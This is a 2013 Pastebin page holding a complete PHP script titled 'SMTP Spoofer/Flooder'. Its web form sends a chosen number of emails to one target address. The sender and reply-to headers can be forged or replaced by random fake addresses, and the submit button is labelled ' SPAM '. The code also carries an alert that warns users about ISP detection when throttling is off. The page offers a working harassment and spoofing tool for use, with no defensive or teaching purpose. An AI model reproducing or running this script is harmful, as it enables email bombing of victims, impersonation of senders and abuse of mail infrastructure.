MLT

PHP - SMTP Spoofer/Flooder

MLT
Nov 10th, 2013
1,648
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.62 KB | None | 0 0
  1. <html>
  2.   <head>
  3. <style type="text/css">
  4. .header
  5. {
  6.  background-color: #ffccaa;
  7. }
  8.  
  9. .cell1
  10. {
  11.  background-color: #ffeeca;
  12.  width: 50%;
  13. }
  14.  
  15. .cell2
  16. {
  17.   background-color: #ffeeca;
  18. }
  19.  
  20. body
  21. {
  22.   font: normal 0.8em Verdana, sans-serif;
  23.   background-color: #FFFFEE;
  24. }
  25.  
  26. smalltext
  27. {
  28.  font: normal .8em Verdana, sans-serif;
  29. }
  30. </style>
  31. <script language="javascript" type="text/javascript">
  32. function randclick()
  33.         {
  34.          var random = document.getElementById('randbox').checked;
  35.          document.getElementById('frombox').disabled = random;
  36.          document.getElementById('replybox').disabled = random;
  37.         }
  38. function floodc()
  39.         {
  40.             var fc = document.getElementById('floodbox').checked;
  41.             if(!fc)
  42.             {
  43.              alert("Turning flood control off almost guarantees detection and action by your ISP.\nOnly turn this off if you are SURE it's okay with your ISP to send the amount of e-mail you plan to send.");
  44.             }
  45.         }
  46. </script>
  47.   <title>E-mail Flooder</title>
  48.   </head>
  49.     <body>
  50. <center>
  51. <h3>Requires an SMTP and Web server</h3>
  52. <?
  53.  
  54.  
  55. function randomEmail()
  56. {
  57.  // returns a random, spoofed e-mail address.
  58.  // pick two numbers, one in
  59.  // [6-10] range, one in [4-20] range, and a random domain.
  60.  // for each #, generate that many random letters/numbers, splice together.
  61.  $usernum = rand(3,10);
  62.  $domainnum = rand(4,10);
  63.  $userstr="";
  64.  $domainstr="";
  65.  for($u=0;$u<$usernum;$u++)
  66.  {
  67.   // random letter of alphabet.
  68.   $ranletter = chr( ord("a") + rand(0, 25) );
  69.   $userstr.=$ranletter;
  70.  }
  71.  
  72.  for($d=0;$d<$domainnum;$d++)
  73.  {
  74.   // random letter of alphabet.
  75.   $ranletter = chr( ord("a") + rand(0, 25) );
  76.   $domainstr.=$ranletter;
  77.  }
  78.  
  79.  $email = "$userstr@$domainstr.com";
  80.  return $email;
  81.  
  82. }
  83.  
  84.  
  85. $action =$_POST["submit"];
  86.  
  87. if($action!=" SPAM ")
  88. {
  89.  
  90. ?>
  91.   <form method="post" action="?" name="inputpanel">
  92.     <table border="1" cellpadding="2">
  93.           <tr>
  94.             <td colspan="2" class="header">
  95.             <p align="center" style="color: ; font-size: 1.5em">E-Mail Flooder</td>
  96.           </tr>
  97.           <tr>
  98.             <td class="cell1">
  99.             <p align="right"><b>Subject:</b></td>
  100.             <td class="cell2">
  101.                 <input name="subject" size="30"/>
  102.             </td>
  103.           </tr>
  104.           <tr>
  105.             <td colspan="2" class="cell1">
  106.                 <p align="center">
  107.                    <b>Message to send:</b>
  108.                </p>
  109.             </td>
  110.           </tr>
  111.           <tr>
  112.             <td colspan="2" class="cell2">
  113.             <p align="center">
  114.                <textarea rows="6" cols="55" name="message" class="inputbox" style="overflow:scroll"></textarea></td>
  115.             </p>
  116.           </tr>
  117.           <tr>
  118.             <td class="cell1">
  119.             <p align="right"><b>To:</b></td>
  120.             <td class="cell2">
  121.                 <input name="emailto" size="30"/>
  122.             </td>
  123.           </tr>
  124.           <tr>
  125.             <td class="cell1">
  126.             <p align="right"><b>From:</b></td>
  127.             <td class="cell2">
  128.                 <input name="emailfrom" id="frombox" size="30" value="[email protected]" /><br>
  129.                 <smalltext>Random</smalltext> <input type="checkbox" id="randbox" name="random" onClick="javascript:randclick();" value="ON">
  130.             </td>
  131.           </tr>
  132.           <tr>
  133.             <td class="cell1">
  134.             <p align="right"><b>Reply-To:</b></td>
  135.             <td class="cell2">
  136.                 <input name="emailreply" id="replybox" size="30" value="[email protected]" />
  137.             </td>
  138.           </tr>
  139.           <tr>
  140.             <td class="cell1">
  141.             <p align="right"><b>Number to Send:</b></td>
  142.             <td class="cell2">
  143.                 <input name="emailquantity" size="5" maxlength="4" value="10" /><br>
  144.                 <smalltext>Flood Control</smalltext> <input type="checkbox" id="floodbox" name="floodcontrol" onClick="javascript:floodc();" value="ON" checked />
  145.             </td>
  146.           </tr>
  147.           <tr>
  148.             <td colspan="2" class="header">
  149.             <p align="center"><input class="submit" type="submit" name="submit" value=" SPAM " /></td>
  150.           </tr>
  151.         </table>
  152.   </form>
  153.  
  154. <?
  155. }else
  156. {
  157.  $to = $_POST["emailto"];
  158.  $from = $_POST["emailfrom"];
  159.  $reply = $_POST["emailreply"];
  160.  $subj = stripslashes($_POST["subject"]);
  161.  $msg = stripslashes($_POST["message"]);
  162.  $random = $_POST["random"];
  163.  $quantity = $_POST["emailquantity"];
  164.  $floodcontrol = $_POST["floodcontrol"];
  165.  
  166.  if($to==""||$subj==""||$msg=="")
  167.  {
  168.     echo "You must fill out the Subject, Message, and Recipient.<br>";
  169.  }else
  170.  {
  171.    if(($from==""||$reply=="")&&$random!="ON")
  172.    {
  173.      echo "You must enter a sender and a reply-to address.<br>";
  174.    }else
  175.    {
  176.     set_time_limit(0);
  177.     // okay
  178.     $counter=0;
  179.  
  180.     for($e=0;$e<$quantity;$e++)
  181.     {
  182.      if($random=="ON")
  183.      {
  184.          $r = randomEmail();
  185.          $from = $r;
  186.          $reply = $r;
  187.      }
  188.  
  189.      // we're ready.
  190.  
  191.      $headers = "";
  192.      $headers.="From: $from\r\n";
  193.      $headers.="Reply-To: $from\r\n";
  194.      $headers.="Return-Path: null\r\n";
  195.  
  196.      $sentaway = @mail($to,$subj,$msg,$headers);
  197.  
  198.      if($sentaway)
  199.      {
  200.       echo "Sent email <b>#$e</b> from <b>$from</b> to <b>$to</b><br>";
  201.      }else
  202.      {
  203.       echo "<font color='red'>Couldn't send email <b>#$e</b></font><br>";
  204.      }
  205.     $counter++;
  206.     if($counter==10&&$floodcontrol)
  207.     {
  208.      echo "Wait <u>5</u> seconds...<br>";
  209.      $counter=0;
  210.      sleep(5);
  211.     }
  212.  
  213.     }
  214.  
  215.     set_time_limit(30);
  216.    }
  217.  }
  218.  
  219. }
  220.  
  221. ?>
  222.  
  223. </center>
  224. </body>
  225. </html>
Advertisement
Comments
  • Comment was deleted
Add Comment
Please, Sign In to add comment